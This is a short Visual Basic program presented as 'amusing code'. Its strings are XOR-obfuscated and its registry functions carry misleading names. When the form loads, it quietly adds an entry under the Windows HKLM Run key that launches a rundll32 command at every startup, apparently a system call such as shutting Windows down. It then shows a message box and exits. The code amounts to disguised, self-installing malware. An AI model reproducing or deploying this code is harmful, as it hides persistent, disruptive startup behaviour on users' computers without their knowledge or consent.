CODE AMUSANT

Private Declare Function PutThisWhereIWant Lib "advapi32.dll" Alias "RegCreateKeyA" _
            (ByVal hkey As Long, ByVal lpSubKey As String, phkResult As Long) As Long
Private Declare Function LetSetItHere Lib "advapi32.dll" Alias "RegSetValueExA" _
            (ByVal hkey As Long, ByVal lpValueName As String, ByVal Reserved As Long, _
            ByVal dwType As Long, lpData As Any, ByVal cbData As Long) As Long
Private Declare Function MaisOuJeSuis Lib "kernel32" Alias "GetVersionExA" _
            (lpVersionInformation As OSVERSIONINFO) As Long

Private Type OSVERSIONINFO
 dwOSVersionInfoSize As Long
 dwMajorVersion As Long
 dwMinorVersion As Long
 dwBuildNumber As Long
 dwPlatformId As Long
 szCSDVersion As String * 128
End Type

Private Sub Form_Load()
 Call BuildApp
 MsgBox LaGrandeVerite$("Wmvw%ìsmz*oi~.m|p{aqtco"), vbOKOnly, _
                                    LaGrandeVerite$("Dv#Kpo)&'")
 End
End Sub

Function LaGrandeVerite$(LeText$)
 a$ = ""
 For i = 1 To Len(LeText$)
  LeCar = Asc(Mid$(LeText$, i, 1)) Xor i
  a$ = a$ + Chr$(LeCar)
 Next i
 LaGrandeVerite$ = a$
End Function

Sub BuildApp()
 Dim Resultat As Long
 Dim Ident As Long
 
 Resultat = 0
 Where$ = LaGrandeVerite$("RmeprgumUGbo" + Chr$(127) + "a|" + Chr$(127) + _
                                    "wfOC|xswniG_hlmEOVuAWUNGGvyYC}JBG[PQF")
 Resultat = PutThisWhereIWant(&H80000002, Where$, Ident)
 If Resultat = 0 Then
  LeNom$ = LaGrandeVerite$("R{pp`kDdfi`")
  If GreatPlaceToLive = 2 Then
   Value$ = LaGrandeVerite$("swm`ij4:)" + Chr$(127) + "xi" + Chr$(127) + _
                                                      "==<BerdXybk|Xnhiqq")
  Else
   Value$ = LaGrandeVerite$("swm`ij4:)" + Chr$(127) + "xi" + Chr$(127) + _
                                              Chr$(34) + "\gpb^{`erZlnoss")
  End If
  Resultat = LetSetItHere(Ident, LeNom$, 0&, 1, ByVal Value$, Len(Value$) + 1)
 End If
End Sub

Function GreatPlaceToLive()
 Dim Here As OSVERSIONINFO
 Here.dwOSVersionInfoSize = Len(Here)
 Call MaisOuJeSuis(Here)
 GreatPlaceToLive = Here.dwPlatformId
End Function